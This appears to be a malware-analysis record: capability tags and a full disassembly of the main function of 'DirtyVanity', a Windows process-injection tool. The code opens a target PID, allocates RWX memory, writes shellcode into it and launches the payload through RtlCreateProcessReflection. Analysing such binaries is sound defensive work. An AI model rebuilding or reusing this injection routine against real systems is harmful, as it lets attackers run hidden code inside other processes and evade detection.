Function at 0x140001110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xf0
cmp ecx, 2
je 0x14000114d
lea rdx, str.___USAGE:_DirtyVanity__TARGET_PID_TO_REFLECT_
lea rcx, [0x14006b6d0]
call fcn.140001800
mov rcx, rax
call fcn.14000bb80
jmp 0x1400012f8
mov rdx, qword [rdx + 8]
xor r14d, r14d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], 0xf
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140001174
lea rcx, [rsp + 0x70]
call fcn.140011240
nop
xor edx, edx
lea r8d, [rdx + 0xa]
lea rcx, [rsp + 0x70]
call fcn.140012960
mov ebx, eax
mov dword [rsp + 0xb8], eax
mov r8d, ebx
mov edx, 1
lea ecx, [rdx + 0x69]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001317
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_using_OpenProcess_on_PID_:_ERROR_
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 0x2f
mov dword [rsp + 0xb0], ebx
movabs rcx, 0x2000000000000000
mov qword [rsp + 0xa0], rcx
mov dword [rsp + 0xb4], eax
movabs rax, 0x2000000000000004
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x40], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x90], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140012e60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x14006b6d0]
call fcn.140005100
mov rcx, rax
call fcn.14000bb80
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400012b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017dd
call fcn.1400159ac
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x1400012f8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017d7
call fcn.1400159ac
mov eax, 0xffffffff
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
lea rdx, str.___Got_a_handle_to_PID
lea rcx, [0x14006b6d0]
call fcn.140001800
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
mov rcx, rax
call fcn.140005100
lea rdx, str._succesfuly
mov rcx, rax
call fcn.140001800
mov rcx, rax
call fcn.14000bb80
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x137
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140001492
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_allocating_shellcode_with_VirtualAllocEx_on_PID_:_ERROR_
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], 0x46
mov dword [rsp + 0xb0], ebx
movabs rcx, 0x2000000000000000
mov qword [rsp + 0xa0], rcx
mov dword [rsp + 0xb4], eax
movabs rax, 0x2000000000000004
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x30], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x90], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140012e60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x14006b6d0]
call fcn.140005100
mov rcx, rax
call fcn.14000bb80
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400012b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017e3
jmp 0x1400012b3
lea rax, str.___Allocated_space_for_shellcode_in_start_address:_
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0x36
mov qword [rsp + 0x38], rsi
movabs rax, 0xa000000000000000
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x90], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x50]
call fcn.140012e60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x14006b6d0]
call fcn.140005100
mov rcx, rax
call fcn.14000bb80
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14000156e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001569
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017e9
call fcn.1400159ac
mov qword [rsp + 0x110], r14
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 0x137
lea r8, section..data
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001687
lea rax, str.____Error_writing_shellcode_with_WriteProcessMemory_on_Explorer.exe_:_ERROR_
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x98], eax
movabs rcx, 0x2000000000000000
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140012e60
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x14006b6d0]
call fcn.140005100
mov rcx, rax
call fcn.14000bb80
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400012b8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017ef
jmp 0x1400012b3
lea rdx, str.___Succesfuly_wrote_shellcode_to_victim._about_to_start_the_Mirroring
lea rcx, [0x14006b6d0]
call fcn.140001800
mov rcx, rax
call fcn.14000bb80
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400012b8
lea rdx, str.RtlCreateProcessReflection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400012b8
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rsi
lea edx, [r9 + 6]
mov rcx, rdi
call rax
mov edi, eax
lea rcx, [0x14006b6d0]
test eax, eax
jne 0x14000172a
lea rdx, str.___Succesfully_Mirrored_to_new_PID:
call fcn.140001800
mov edx, dword [rsp + 0xd0]
mov rcx, rax
jmp 0x140001744
lea rdx, str.____Error_Mirroring:_ERROR
call fcn.140001800
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14000d590
mov rcx, rax
call fcn.14000bb80
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14000178d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001788
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017d7
call fcn.1400159ac
mov eax, edi
jmp 0x1400012fd
call fcn.14001bd2c
int3
call fcn.14001bd2c
int3
call fcn.14001bd2c
int3
call fcn.14001bd2c
int3
call fcn.14001bd2c
int3